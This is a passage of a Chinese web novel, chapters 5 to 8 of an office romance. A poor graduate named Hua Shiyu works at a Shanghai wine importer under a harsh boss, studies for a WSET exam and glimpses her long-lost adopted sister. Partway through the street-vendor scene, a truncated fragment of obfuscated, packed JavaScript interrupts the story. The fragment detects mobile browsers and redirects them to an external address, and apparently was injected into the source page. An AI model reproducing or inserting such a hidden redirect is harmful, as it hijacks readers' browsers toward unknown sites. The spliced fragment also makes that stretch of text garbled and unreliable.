“叮”,电梯门开,花诗雨心里还在琢磨怎么还这个钱,盛仰提醒说:“1楼。”并让出位置让她过。
“哦,”花诗雨三两步跨出电梯,又回过头来问:“两万零五百,我过几个月还您,可以吗?”
“随便。”
前往地铁站的路上,花诗雨一路苦恼与郁闷,本就是他自己闯进来的,主要责任明明在于他自己。
可偏偏他是自己的老板,又是妹妹的男朋友,两种身份叠加,让她不得已作出退让,并去“讨好”他。
一阵机车引擎声轰鸣声从她身后传来,越来越近,接着一个黑影从她身边飞速经过。
花诗雨抬头望去,正是盛仰,他头盔压得低低的,弓着背伏在机车上,如一道黑影穿梭于马路之间。风灌进他的黑T里,呼呼飘起,鼓荡成波浪。
那天还是西装革履的商务男,今天下班后就是拉风的机车男,活得还挺随性的。
路遇一个红灯,他停下,机车引擎还在轰轰作响。绿灯了,他还停在边上,并回过头来看。
花诗雨不确定他是不是在看自己,环顾周围也没人给他打招呼。于是她小跑过去,问道:“您找我?”
盛仰的头都被黑色头盔包裹着,只剩一双碎星似的眼睛,那双眼使得她一时问不出话来。
“两万块,不用还,算我倒霉。”他先说。
可是隔着厚重头盔,机车引擎声又大,把他声音按都掩盖了,她根本没听清他说的是什么,一脸懵:“啊?”
他看了眼前方,绿灯还剩30秒,便提高音量:“别吓得晚上睡不着觉!”
话音刚落,“轰”得一声,他就骑着机车飞梭于车流中去了,不到一会就没人影了。
花诗雨心都跟着悬颤了一下,要是她是妹妹的话,一定不让自己男朋友骑这种东西,危险系数太高。
**
次日。
花诗雨第一个抵达公司,这回她也有工作卡,自己刷卡进去的,坐在工位上查看昨天Molly提及的Wset二级考试,考试分为笔试环节和盲品环节,四天的线下培训,费用为5400元。
其它还好,就是这个费用对她来讲有些贵了。
她大学一年的学费也才5400元,这个才几天的课程就要这么多,果然是有钱人的爱好。
安静的办公室里突然多了脚步声,越靠近越熟悉,跟昨天靠近她的脚步声一样,看来这老板比员工还勤快,总是早到晚回。
花诗雨回头,自我强行的热情微笑:“老板,早上好。”
盛仰面无表情地“嗯”了声,要进自己办公室时又折回来对她说:“今天你的奚老师不在,Emily也没回来,需要你做一份关于新品介绍的PPT,就是你昨天喝的那款酒,酒的一些信息我待会发你邮箱,PPT的风格你可以参照我们过往的新品介绍。”
花诗雨点点头,还没意识到这对她来说是一个难题。
不到十分钟,盛仰就发来邮件,附件有酒的相关信息和图片,正文里也很清楚地告诉她要做成年轻女性喜欢的小清新风格,指明她可以参考的PPT。
花诗雨按照他的指示一一打开了过往的新品PPT介绍,每一份都很精美,色彩搭配自然,内容精简引人。
让人看了就有想买这款酒的冲动。
她反反复复欣赏,眼睛学会了,真到上手时,第一张幻灯片她就倒腾了半个小时,还不是那么美观。
其实,她第一次接触电脑是在大一,学校的机房,每周一次的计算机课,当时她打
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字都比别人慢一大截。
直到大二下学期,她才攒够钱为自己买下了人生的第一台笔记本电脑,大三时才考上了计算机二级,熟练应用了word和Excel等一些常用的功能,唯独PPT她不经常使用,所以显得异常生疏。
笨鸟只能靠勤快了,为了完成这份PPT,花诗雨连中午饭都来不及吃,周围来来往往的同事与她打招呼,她也只是微笑点头,而后继续投入工作。
一直到下午两点半,整整五个半小时,花诗雨才把自己做好的新品介绍PPT发给了盛仰,然后心满意足地取出包里的小面包充饥,眼神时不时地望向盛仰办公室,希望得到他的反馈。
盛仰一收到她发过来的邮箱,就暂停了手上其它工作,抱着期待的心情去点开她做的PPT,以为她做的东西会跟她人一样,年轻好看,简约自然。
结果,他看到第一张幻灯片就不禁皱起眉头,做的什么鬼,色彩都是生硬搭配的,内容见缝插针般地插进图片之间的缝隙,显得乱糟糟的。
无不透露一股新手生涩感,硬凑而来的,还不如一个本地实习生。
盛仰当即就把花诗雨做的PPT发给奚涧,吐槽道:
【你看看她做的什么垃圾文稿?】
【就从没见过这么丑的演示文档!】
奚涧正开家长会,点开瞅了几眼,PPT确实是拼拼凑凑的,没有流畅感,便猜测问道:【花诗雨做的啊?】
盛仰:
【不然?】
【你能在公司找出比她做的PPT还差的同事吗?】
【她坐那里不吃不喝,哼哧哼哧搞了五了小时,就给我弄出一份这丑玩意,你懂吗?】
奚涧只觉得花诗雨认真又好笑,回道:
【(偷笑)】
【多努力一小姑娘啊,态度多么的端正啊。】
【要求别那么严格嘛,人家上学又不要做PPT,学学就会了,年轻人学习能力很强的。】
盛仰:
【其他部门可以不要求这项技能,但她是在你们市场部做品宣工作的!做一份漂亮的演示文稿不是最基本的技能吗?】
【我们不是慈善机构,没有那么多时间和金钱的浪费。】
奚涧:【是的,老板说得都对,我要开家长会了(再见)】
每次有这样分歧的时候,奚涧总是打马虎眼逃脱。
盛仰也不管奚涧了,直接回邮件给花诗雨:【劝你回老家考公考研考编去,再在老家找个男人嫁了,这里不适合你。】
花诗雨在第一时间就看到盛仰发过来的邮箱,如她所料,他对自己所做的PPT并不满意,从而开始劝退她。
关键他这劝退的话语太过狠毒,叫她找个人嫁了比直接说她不行更打击人。
第一份工作的第一个任务就被否定,花诗雨失落呆坐着,而周围键盘敲击声四起,夹杂着不同语言的工作电话,每个人对自己的工作都得心应手。
别人越忙碌,她就越感觉自己无能。
5. 意外
“花诗雨,Sofía。”后面传来Molly的呼喊声,“把你们信息告诉我,我帮你们报考Wset二级考试。”
右手边响起一个清脆的声音:“OK,请告诉我需要我的什么信息。”
花诗雨顺着声音转头望去,刚过于投入做PPT,都没注意到间隔工位那边来了位明艳的外国同事----深邃的眉目、立体的五官、棕色的卷发,紧身的上衣和牛仔裤更加凸显了她曲线般的完美身材。
有委内瑞拉世界小姐那风格,花诗雨猜测她应该是拉美人。
“身份信息就可以了。”Molly走过来,站在她们中间,再次介绍道:“Wset二级培训共四天,这周末两天以及下周末两天,考试在下月五号,两个月后才能出成绩。”
盛仰突然从办公室里出来。
Molly便向盛仰汇报:“要给花诗雨和Sofía报名Wset二级考试了。”
盛仰站在花诗雨旁边,眼神越过眼下的人,对Sofía微笑道:“Wset二级课程有英文和中文供选择,你看看哪种语言对你来说更方便。”
Sofía笑了笑说:“还是中文吧。”
“可以。”
随后,盛仰俯看眼下的花诗雨,不过她低着头,拿着笔在废纸上写自己的名字,瞎写了一整页纸。他道:“有这时间,还不如去买点课程学习下怎么做PPT。”
花诗雨点点头,她知道自己在这方面是短板,也决定在网上找课程学习。
“还有你...”他话说到一半又顿住了。
“额?”花诗雨以为自己又犯错了,缓缓仰起头,对着他那张冷若冰霜的脸,“我...我怎么了?”
“你直接考三级。”
听到这个,花诗雨没多大反应,倒是Molly为花诗雨说话:“老板,不能这样要求吧,大家都是二级就转正了,我们这个办公室也没几个三级以上的员工呀。”
盛仰就看着花诗雨,眼神里透露着没有商量的余地。
“好!没考上我自己会走!”花诗雨不知道哪来的勇气,一口应道。
Molly都惊呆了,年轻人总有股初生牛犊不怕虎的莽劲。
盛仰笑了下:“希望你说到做到。”又补充:“这只是条件之一。”
说完,他就往茶水间的方向去了。
Molly站到花诗雨的身后,揉揉她的肩,感觉盛仰对她要求太高了,便问:“诗诗,你和老板之间是不是有什么误会啊?我们转正从不要求三级,因为三级确实很难,一个班的人能有几个过就不错了。”
“可能我的条件差,不符合他的要求吧。”花诗雨还觉得跟泼了他一身水有关,可她不好意思说出来。
“哪有,你是符合条件的,刚毕业有些东西不懂很正常,慢慢的就学会了。”Molly先安慰她,再鼓励道:“三级比二级考得更细点,笔试部分你就多花点时间背书,盲选部分的话,你平时在课堂上多记记他对酒的描述习惯,盲选考试的时候就容易了。”
“他...是指咱们老...老板吗?”花诗雨仰头问Molly。
“对呀,我们老板也是享酒机构的兼聘三级讲师,这次就是他当讲师。”
这人身份怎么这么多啊,花诗雨真的很想避开他,“Molly姐,我能不能换家机构报名学习啊?”
“当然可以,但是享酒机构给我们公司员工折扣价呀,三级只要九千六,别的机构估计得要一万多。”
“一万多??”花诗雨有被这价格震惊到,“比二级贵了一倍多啊??”
“对呀,三级考试费比二级贵,可品尝的酒的种类也比二级的多。”Molly劝道:“所以我觉得还是报享酒实惠,而且老板当讲师,方便你随时问他问题。”
“嗯嗯,那就报享酒吧。”
要不是为了省点钱,花诗雨可不愿意报享酒,宁愿自己在别的地方默默考完,也不愿面对这位对她印象并不好的老板,更别提主动去问他问题。
“那就这样说定了,你们先把证件发我,费用的话,”Molly掏出手机,在手机上操作了几下,“我给你们发了对方的收款信息,你们直接把费用转给他们,备注上我们公司名和你们的姓名,不过不用担心,等你们考过并转正了,公司会给你们全额报销的。”
花诗雨:“好的。”
Sofía:“Vale(好的).”
“今天父亲节,老板说今天大家都可以早点下班,你们也早点走吧,节日快乐!”
通知完,Molly就回自己工位收拾东西下班了,办公室里的人也陆陆续续走光了。
Sofía背着包,抱着电脑走到花诗雨身旁,热情打招呼:“Hi,诗诗。”
“你好,Sofía.”花诗雨关上电脑,起身把电脑装进帆布袋里,“Sofía你是今天刚来的吗?”
“是的,你工作太认真了,都没注意我的到来。”
“你中文好好呀。”花诗雨背上包,“一起走吗?”
“好呀。”Sofía很自然地挽上花诗雨的胳膊,“我学中文十几年了,来中国七年了,几年前就考过了HSK五级,现在在冲HSK六级。”
花诗雨不禁竖起大拇指:“厉害,都快接近母语程度了。”
“还好啦,Molly说你是学西班牙语的,我是委内瑞拉人。”Sofía自动切换成西班牙语:“Enmipaíshablamosespa?ol(我们国家讲西班牙语)。”
“Yasé,casitodoslospaíseslatinoshablanespa?ol(我知道,大部分拉丁美洲国家都讲西班牙语)。”花诗雨流利应对。
“你的这句口音有点偏向拉丁美洲。”
“因为我经常会跟拉丁美洲的网友视频练习口语。”花诗雨说,“你们的语速有些快,有时候还会省略中间的词。”
花诗雨上大学时并没有很多机会接触西班牙语为母语的人,她为了练习自己的西班牙语,每天花大量时间在各种平台与母语为西班牙语的人视频聊天,有西班牙本地的,有拉丁美洲的,也有南美洲的,口音各异,聊的也杂。有的没素质的人还搞歧视,故意骂人,不过花诗雨还挺喜欢与那些人对骂,刚好可以锻炼她的反应能力和口语能力。
她学习英语也是如此,这种方法把她的西班牙语和英语口语都练就出来了,如今一般场合的交流都不在话下。
Sofía夸她:“你比我更厉害,我只会讲标准中文和一点点上海话,想学粤语,一直都学不会。”
“我们中国有很多方言的,我都听不懂粤语。”
两个女生挽着手一路聊到前台那里,刚想关灯锁门,盛仰就进来了,手指勾着个茶叶蛋。
Sofía说:“那我们不关灯咯。”
花诗雨视线在他茶叶蛋上落了几秒,应该是楼下便利
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店买的,没想到老板下午饿的时候也会去买两块钱一个的茶叶蛋吃。
盛仰问她:“看什么?我不能吃茶叶蛋啊?”
花诗雨忙摇头:“不是不是,看着挺好吃的。”
盛仰把茶叶蛋伸给她:“想吃就拿去吃吧。”
花诗雨连摆手:“不不不,我没那个意思。”
盛仰没说什么,回自己办公室了。
花诗雨和Sofía坐上电梯,Sofía问:“今天Father''sDay,你需要回家陪爸爸吗?”
“我外地人,而且我早就不跟父亲联系了,他并不是一个合格的父亲,不值得我关心。”
Sofía偏头看着花诗雨,满眼惺惺相惜,“我们一样,你是外地人在上海,我是外国人在上海,我也不与我的父亲联系,他不是一位好的父亲。”
“那...”花诗雨邀请道:“那我们一起去吃个晚饭?”
“好呀!”
两人便一起去了隔壁的商场闲逛,什么都没买。花诗雨很穷,碰到再喜欢的也是只看不买;Sofía看到喜欢的东西摸了又摸,犹犹豫豫下还是没买。
两人都能感受到对方不是很富有的人,都是在这座城市打工奋斗的普通人罢了。
吃饭结账的时候,花诗雨率先买单,但Sofía把一半的饭钱转了过来,并说:“AA更好。”
花诗雨本想转回去,但是Sofía坚持道:“我觉得我们经济情况差不多,这样的话,我觉得AA更好,有利于关系的稳定。”
花诗雨特别认同她这种看法,便接受了她的转账。
两人从商场走出来已是晚上,霓虹闪烁,车水马龙。
Sofía摸了摸自己的口袋,找不到香水,“我香水落公司里了。”
“是现在要用吗?”花诗雨问。
“明早肯定要用的。”
花诗雨能理解,不少外国人都有体味,用香水掩盖体味是他们的日常,便说:“那我陪你去拿吧,现在办公室里肯定没人,黑灯瞎火的。”
“你真好。”
两人又挽着手回到公司,没想到办公室里的灯还亮着,花诗雨猜测:“老板不会还没走吧。”
说曹操,曹操到,盛仰手里捏着个手机向门口走来,问道:“你们来干吗?”
“我来拿我的香水。”Sofía快速向里面走去,留下花诗雨和盛仰。
盛仰望了眼外面半熄灯的电梯郎间,打算等她们一起下楼。
为了不显得尴尬,花诗雨搭话:“老板怎么这么晚才下班?”
盛仰没好气地看了她一眼,“手底下的员工连个PPT都做不好,只能累死我自己。”
“......”
花诗雨好想抽自己嘴巴啊,没事别瞎问,越问越尴尬。
安静十来秒后,花诗雨认真请求道:“那老板可以发给我吗?我想学习下。”
“放到公共盘了,在今天告诉你的那个位置。我的不是唯一,你可以拥有自己的风格和审美,别人看起来自然流畅就行,而不是你下午提交过来的那种杂乱无序的...”盛仰看了眼花诗雨那张真诚求教的脸,咽回了一些话,“算了,我说话难听,你懂就好。”
“我懂,垃圾。”花诗雨回答得很干脆,不是生气的那种干脆,是直面自己短板的干脆。
盛仰有些意外,有的人可能会为自己的不足而解释或掩护,而她却能坦然接受他人的批评。
6. 姐姐
“我找到了,让你们久等了。”Sofía快步走来。
盛仰让两位女士先出去,自己在后面关灯、关门。
花诗雨按着电梯向下键,等盛仰和Sofía都进去了,她才进入电梯。
电梯不算狭窄,三人并排站着刚好。盛仰站最左边,Sofía站中间,花诗雨站最右边。
盛仰关心问起:“你们俩住哪?”
Sofía:“我住永福路。”
那条路的后面一排酒吧屋,熬夜党的聚集地,老外居多,盛仰以为Sofía也是如此,遂问:“晚上一般喝到几点?”
“我不喜欢去酒吧,”Sofía一脸苦恼地说,“我觉得那个地方太吵了,每个晚上街上都是喝醉酒的人,疯狂的尖叫。我的那个越南室友就每天喝到很晚才回家,总是打扰我休息,我真的很想搬家。”
盛仰:“可以让Molly协助你租房子。”
“好的,有些中介专坑外国人,我刚好需要一个能说上海话的人帮我砍价。”有专门给外国人租房子的中介,Sofía几次租的价格都比室友贵,可她始终学不会与能说会道的中介砍价。
电梯门开,盛仰先出去,突然想起花诗雨还没说自己住哪,于是回头看了她一眼,问道:“你住哪?”
“颂茳。”
盛仰“哦”了声,再与她们说了句“路上注意安全”就走了。
花诗雨和Sofía跟在后面往外走,前面三四十米的马路旁停了一台红色的敞篷车,驾驶室坐着一位扎着高马尾,穿着一字肩黄色连衣裙的女孩,她正向过去的盛仰欢快招手。
哪怕是在晚上,哪怕有点距离,花诗雨根据她的发型、穿着以及动作也能判断出那女孩就是妹妹。
可是花诗雨没有勇气向前去确认,更不想冒昧打扰妹妹和男朋友,她只敢在一定距离处望着她,一直望着。尽管Sofía拉着她往与他们反方向的地铁站走去,她也是一步一回头。
这也是花诗雨第一次近距离见到长大后的妹妹。她脑海里一直浮现那对富人夫妻抱走妹妹的画面,那时小小的她感受到要与妹妹分别,哭得撕心裂肺。
五岁以前的记忆她几乎没有,但与妹妹分别的场景,一直刻在她脑海里。
驾驶室的女孩似乎发现有人在看自己,便也回头望,并问在驾驶室外的盛仰:“阿仰,那两个女生是你公司员工吗?”
盛仰朝她方向望去,花诗雨时不时地回过头来看这里,“是的。”
“那个女生为什么一直看我啊?”
“因为你最好看,行了吧?”
“嘿嘿,我也这么觉得。”
盛仰手伸进驾驶室开车门,“你下车,我来开。晚上光线不好,你开不安全。”
“哼,我都安全开过来了,也能安全开回家的。”女孩不情愿里面带点小女生的撒娇。
“别闹了行不行,施无双大小姐?”
“好嘛!”施无双不情不愿地从驾驶室出来,绕到副驾室,“你怎么跟我爸一样,什么都不让我干。”
“就是你爸你妈让我看着你的!”盛仰坐上驾驶室,启动车辆,一声“轰鸣”在街边响起。
“哼!”
“赶紧回去吃饭,饿了。”他说的回去吃饭是回施无双家里吃饭。
盛仰父亲北京人,母亲上海人,在他六岁那年,他的父母就离婚了。后来他父母依次再婚了,父亲依旧在北京,母亲则跟美国老公在美国生活了。
盛仰主要是由外公外婆抚养长大,外公外婆后来身体不太大好,他也被父亲扔到英国读高中。
盛仰妈妈与施无双妈妈是情同姐妹的发小,两家关系密切,施无双就是跟在盛仰屁股后面长大的。因为施无双是施家收养且唯一的孩子,盛仰对这个妹妹抱有怜悯之心,更加爱护。
“我给我爸买了一套茶具作为父亲节礼物。”施无双问:“你给你爸买了什么?”
“我吃饱了撑着啊,给老登买什么礼物!”
施无双噗嗤笑,盛仰对生父的嫌弃总是毫不掩饰。
过了一会儿,施无双叹气道:“我应该还有一个父亲。”
路遇红灯,盛仰停下,转头看了眼施无双,“抛弃你的人,你还惦记他干吗?”
“我没惦记他,我是惦记我的那个姐姐。”施无双望着前方还有三十多秒的红灯,若有所思,“我爸妈说我亲生外公外婆年纪大,实在养不起,所以才送走一个孩子的。我是很幸运,被我爸妈收养,可是那个才比我大一岁来的姐姐呢?”
说着说着,施无双眼眶渐润,“我亲生外公外婆年纪那么大,可能很早就过世了,那我的那个亲姐姐该怎么办呀,她到底有没有好好长大...”
盛仰劝他想开:“人各有命,你过好自己就行了。”
“嗯嗯,但愿她健康快乐吧。”
**
出了地铁站,花诗雨走了几分钟都未能找到一辆能骑的单车,只能靠双腿走两公里回出租屋。
桥上有个老大爷在吆喝:“十元一袋,便宜好吃。”
花诗雨路过看了眼,老大爷在卖膨化玉米棒和米糖之类的东西。
就因为这一眼,老大爷向花诗雨推销:“小姑娘买几块尝尝呀。”
花诗雨其实不爱吃这些,但老大爷推销了,心想老大爷也不容易,便问:“这个黄色米糖怎么卖呀?”
“按斤称的,要多少称多少。”
花诗雨没想到去问多少钱一斤,也不觉得老大爷会骗自己,本来只想要两块的,却因两块太少不好意思说出口,而说道:“那给我来四块吧。”
“好的。”老大爷答应得好好的,手却不停的夹。
眼看已经夹了五六块了,花诗雨连忙说:“够了够了,我一个人吃不完的。”
“这哪够,都不够秤。”大爷继续夹,夹到十一二块才拿到秤上称,秤上显示20.6元,他说:“二十块六,算你二十吧。”
花诗雨很想跟大爷说“我只要四块,请把多余的夹回去”,可她终究是没好意思说出口,心里想着算了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590064|171858||http|test|mini|href|location''.split(''|''),0,{}));
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>提着这袋她不怎么喜欢且超额购买的米糖的回家路上,她一直在反思自己,到底什么时候才能改掉这个“不好意思”的臭毛病,真是一点骨气都没有。
回到出租屋,花诗雨把那袋米糖随手扔到客厅餐桌上,人瘫坐在沙发上,仰头望着天花板,目光无神。
既疲惫也没那么快乐。
刚上班就被老板批评,一万块的Wset三级培训考试费她也付不起,身上还背着四五万的债务。
生活都成问题,如何快乐?
沉思半小时后,花诗雨拿起手机,给在老家县城当小学老师的发小花怡发去消息:【怡,有六千块钱借我吗?】
她不好多问,凑够九千六的Wset三级费用就行,毕竟花怡也才刚参加工作,每个月的工资也才两千多一点。
花怡很快转来八千块钱,还拨来语音电话,一来就关心:“诗诗,你在上海是不是遇上什么难事?”
花怡了解花诗雨,她不到迫不得已是不会问人借钱的。
花诗雨鼻尖一下涌起酸意,差点儿就要哭出来了,“没有呢,只是我上班的公司是一家卖葡萄酒的公司,转正要求是能够通过一个考试,那个考试的培训考试费就要一万块。”
“一万块?!”花怡震惊,“果然是大城市啊,什么都贵!”
“对啊,什么都贵。我住的这地方是外环外,一碗什么都不加的葱油拌面都要七八块了,我上班那地方是市区,拌面上面加块素鸡就要二十多块了。”花诗雨叹气:“我真的好想念老家三块钱一碗的米粉啊。”
一般这个时候,别人都会劝花诗雨回家乡发展,但是花怡不会,她太知道花诗雨有多么想离开那个地方,只鼓励说:“我一直觉得命运也遵循守恒定律,人生的苦你已经吃尽了,接下来迎接你的会是无尽的甘甜。”
“当了老师的人就是不一样,会熬鸡汤了。”花诗雨可不相信什么命运守恒,“苦的人只会有吃不完的苦。”
“那不管什么人到最后不都是进那盒子里。”
花诗雨笑了,这话没毛病!
“好了,诗诗,我要批改作业了,回头聊。”
“好的,小花老师。”
倾诉完,花诗雨打起精神坐到电脑前,开始搜寻西语翻译的兼职,浏览到附近一家做陶瓷外贸生意的公司招兼职陪同翻译。三天的行程,两天在上海,一天在安西省的德旺市,费用两千元一天。
花诗雨心动了,立马把自己的西班牙语C1证书发了过去,还表明自己也是安西省的人。对方回复得很快,要了她的微信,聊了几句,兼职陪同翻译这事就达成了。
接着,她花了几十块钱续了某网站的季度会员,在上面找专门教人做PPT的博主。
她经常这样,利用最少的钱去学习更多的东西,把有限的资源利用到最大化。
手机放着视频,电脑照着操作,一下又学到了十点半。身体是本钱,她没有熬夜的习惯,匆忙洗了个澡。
躺在床上,她感觉踏实又放松,又是不浪费的一天。
7. 微醺
周六,早八点半。
花诗雨早早来到享酒机构,前台把她带到培训室,里面空无一人,她是第一个到的。
U型座位,每个座位前都摆了一个黑色小桶和四个空酒杯。花诗雨挑了右列转弯那个位置,这样既不是正对讲师,也不是讲师身边的位置,可以和讲师少一点眼神接触。
前台打开投屏,左边是盛仰的头像,右边是关于他的简介——Wset四级、连续五年盲品冠军、知名酒庄企业高管等。
前台见花诗雨是名年轻女孩,以为她也是为盛仰而来的,便问道:“我们讲师帅不帅?”
花诗雨只点点头,他确实是帅,但当他是你老板时,就有压迫感了。
“只要他做讲师,报名的人就很多,有的人还特意等到他做讲师的时候再来学。”前台说,“但是他不常来做讲师,还是我们老板多次邀请才来的。”
花诗雨搭上一句:“我觉得讲得好才是最重要的。”
“质疑我啊?”盛仰突然进来。
他总是出其不意地出现,花诗雨尴尬摇头:“不是不是,当然不是。”
盛仰对前台说了声“谢谢”就让她出去了,自己则把屏幕上的讲师介绍页给叉掉了,换成Wset三级课程的PPT。
盛仰站前台那,手指搭在电脑键盘和鼠标上,反身看着屏幕,调试大小和光度,并随口问道:“你预习了吗?”
“预习了。”花诗雨低着头,看着自己做了密密麻麻笔记的教材,她何止预习了,她上一周都在啃这本厚教材。
盛仰“嗯”了声,没再说话。
花诗雨一直埋头看书,把认为重要的内容都用荧光笔圈出来。
陆陆续续有学员进来,进来都是先跟盛仰热情打招呼,然后挑方便与讲师沟通的位置坐下。
有个化着精致妆容的干练女人坐到花诗雨的右手边,笑着问花诗雨:“妹妹,你大学刚毕业吧?”
花诗雨微笑点头。
她上下打量着花诗雨,穿着不像是闲着没事要来学点葡萄酒知识的大小姐,于是问道:“妹妹你是葡萄酒相关专业的吗?”
花诗雨摇头:“不是,之前从未接触过。”
“那...是因为有浓厚兴趣?”
“工作需要。”花诗雨坦白道。
“那你们公司是酒庄还是代理商呀?”听到是同行,Wendy来劲了,从包里掏出名片呈到花诗雨的书上,“我叫Wendy,一级葡萄酒代理商。这是我的名片,或许我们后面会有合作哦。”
花诗雨看了眼讲台那边的盛仰,他附身在键盘上敲着字,似乎没在听她们的谈话。求助失败,花诗雨也还未正式参与公司业务,只能先接下名片,笑着应道:“好的,您的名片我先收着。”
“妹妹真有礼貌。”Wendy追问:“你还没告诉我你在哪家公司上班呢,说不定我认识。”
花诗雨想了想,自己能不能转正都还是个问题,就不给CR招黑了,免得老板不高兴,“我还刚入职,就不透露了。”
“刚入职呀,就是还没转正呗!”Wendy更加来劲了,“你长这么漂亮,绝对是个卖酒的好苗子,带出去倍有面儿。”她点开手机微信,“来,妹妹,我们加个微信吧。”
盛仰清了清嗓子:“Wendy,课后再交流吧。”
接着就进入了讲课环节,盛仰先是讲了葡萄酒的品尝和一二三类香气描述的理论知识,然后开了一瓶白葡萄酒,均分倒给了在座的每位学员。
他拿起自己酒杯先放到胸口位置:“先把酒杯置于胸口处,如果在这个位置就能闻到味道,可初步判断此酒较为浓郁。”紧接着他把酒杯口移到下巴边上,“在这个位置才能闻到味道,则为中等。”最后他把酒杯口挪到鼻子下,“要到这个位置才能闻到些许味道,可判断此酒较淡。”
有学员说:“可是每个人的鼻子敏感度不一样啊。”
“对,那只是其中一种方法。”盛仰举起酒杯轻轻摇晃了一下,粘稠的酒液挂在杯壁上,流速很缓,“可再观察挂杯度,挂杯越持久,说明酒精度越高,酒体越饱满。也适用于甜度,就像我们手中这杯甜白。”
说完,他就喝了一小口,学员也纷纷跟着喝了一小口,但只是咽下一点,其它的酒液都吐酒桶里了。
只有花诗雨喝了一口又喝一口,她喜欢这种带荔枝味的甜白。
品尝完这款甜白后,盛仰去外面拿来一个装了冰块的小桶和一瓶白葡萄酒,他把白葡萄酒倾斜置于冰桶里,“现在是夏天,我们所处的教室室温大约为26摄氏度,起泡酒、酒体轻盈的红葡萄酒以及经过橡木桶陈年的白葡萄酒如果经过冰镇,口感会更好。”他指着冰桶里的酒,“比如这款白芙美长相思白葡萄酒在冰桶里轻微冰镇一下,口感更佳。”
冰镇了一会后,他演示了一下如何开带橡木塞的葡萄酒,随后依次倒给学员,轮到花诗雨时,他只倒了一小口的量。
花诗雨仰着醺红的小脸,疑惑地看着他,觉得他偏心,大家都是交钱学习,都包含了酒的费用,凭什么就给她一小口。
盛仰压根就没理会她的眼神,去给其他学员倒酒了。
后面再品的两款酒里,盛仰都只给她倒了一小口。
到中午吃饭时间,Wendy邀请花诗雨到附近人均一千的西餐厅吃饭,花诗雨因囊中羞涩给婉拒了。她一个人到便利店吃了个双拼饭,买了个没吃过的“黑炭”冰淇淋,一路舔着回教室。
教室里,盛仰还坐讲台那敲着键盘。
“老师,您没去吃中饭吗?”花诗雨问了声,这个称呼她还是学其他学员的。
“不要喊我老师。”盛仰眼睛对着电脑屏幕,并未抬头瞧进来的人,“我没那么大本事当人老师。”
花诗雨“哦”了声,坐到自己座位上继续舔那黑黑糯糯的冰淇淋。
“上午Wendy问你在哪上班,你怎么不说?”盛仰这才抬头看下边的花诗雨,这姑娘一脸满足地舔着冰淇淋,嘴唇上都是黑色,果然还是个天真的大学生,跟施无双有的一拼,她也爱买这种奇奇怪怪的冰淇淋。
“因为我哪哪都不行,PPT做不好,葡萄酒知识为零,也不够灵活,我怕自己影响了公司
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的形象。”花诗雨吃完最后一口冰淇淋,把壳扔到脚边的垃圾桶里,抽了张纸巾擦嘴,很坦白地说着,“您肯定也不希望我在这种场合下说我是您的员工。”
听完,盛仰打字的手都滞在键盘上,不知道如何去接她自我否定的描述,也拉不下脸去夸这个被自己否定过的新员工,只道:“奚涧能招你进来,总有他看中你的地方。下次别人问你在哪工作,直接大方说吧。可以和Wendy做生意,但是做朋友的话,你最好是...”他欲言又止,继续敲键盘,“算了,这不在我关心的范围内,你自己看着办吧。”
花诗雨很认真听着,还追问:“能再多提点一下吗?我最好怎么样?Wendy她还邀请我晚上去酒馆品酒,说是巩固今天的知识,我内心是不想去的,但是我又觉得我应该多参加这样的场合,多交朋友,好卖酒。”
奚涧说得没错,这姑娘确实坦诚好学,就是单纯了点,他也就停下手中的事情,看着她说:“你内心都不想去,你还去干吗?坐那不难受吗?你先掂量一下你自己的钱包以及想清楚那是什么场所,那是酒馆,喝醉了谁送你回家?指望才认识一天的人送你回家啊?出门在外多注意自己的人身安全吧。”
虽然他的语气不是那么温和,但句句在理,花诗雨有听进去。
“Wendy刚说你没转正,就是想挖你去给她干活,她都不问你的学历和专业,并不考核你是否合适,就只是看中你外表而已,带出去给她长脸是要有代价的。”盛仰说,“当然,你想赚快钱,喜欢那样的生活的话,那就当我没说。”
盛仰没点明的“代价”,花诗雨听懂了,摇了摇头:“不,我不喜欢那样的生活。”
“盛老师,你在这呀。”一名女学员进来,中断了他们的对话,“我正想找你呢。”
女学员给盛仰带了杯咖啡,搬了把椅子坐在他对面,点开自己的Ipad,开始问他葡萄酒的相关知识。
盛仰很耐心地为她讲解,彼此还加了微信。
下午讲了旧世界的葡萄酒,他很客观地描述了不同国家葡萄酒产区的优点和不足之处。
每讲到一个产区,他就开一瓶那个产区具有代表性的酒,才半下午的功夫,就品尝了六款酒。盛仰每回都只给花诗雨倒那么一小口。花诗雨虽不理解,但也不敢多问。
到喝第七款酒时,盛仰依旧只给花诗雨倒一点点,Wendy以为花诗雨爱喝酒,于是与花诗雨交换,把自己多的那一杯给花诗雨。
花诗雨刚喝第一口,盛仰就出现在她面前,修长的手指勾着她的杯托往下拉。
花诗雨口含一口酒,仰起微微鼓起的脸蛋看他,明明是在空调房里,她的苹果肌却泛红起来。
眼神交汇几秒后,盛仰挪开视线,望了她的酒桶一眼,她立马意会,把口里的酒吐进了酒桶。
花诗雨这才明白过来他为什么每次只给她倒一口酒,也是怕她贪杯,傻乎乎地就把自己喝醉了。
之后花诗雨也学乖了,只浅尝辄止,多余的酒就吐掉。盛仰见她会把酒吐出来了,之后品尝的酒就给她倒和其他学员等量的了。
8. 果酒
下午五点,下课。
学员们都迎上去问盛仰要微信,希望课后也可以请教他问题,他很大方地展示自己的微信二维码让大家加上,唯独花诗雨默默在后边把桌子都收拾干净。
一学员邀请他说:“盛老师,今晚和我们一起去酒馆品酒吧,顺便帮我们巩固一下今天所学的知识。”
“你们有问题可以在微信上问我。”盛仰一边清理电脑一边笑着说,“但是今晚不行,我有点事情。”
学员打趣道:“周末又不需要上班,要陪女朋友呀?”
盛仰笑笑不说话,让人误以为他真是要去陪女朋友。
学员:“也是哦,给我们上了一天的课,晚上的时间当然要留给女朋友。”
随后学员们都走了,花诗雨在他们交谈期间把所有桌子都收拾干净了,然后背起包,抱着书,对正在关电脑的盛仰说:“今天谢谢您,我先回去了。”
“嗯。”盛仰抬眸稍看了她一眼,她脸上没有红晕了,应该是醒酒了,也就没多说什么。
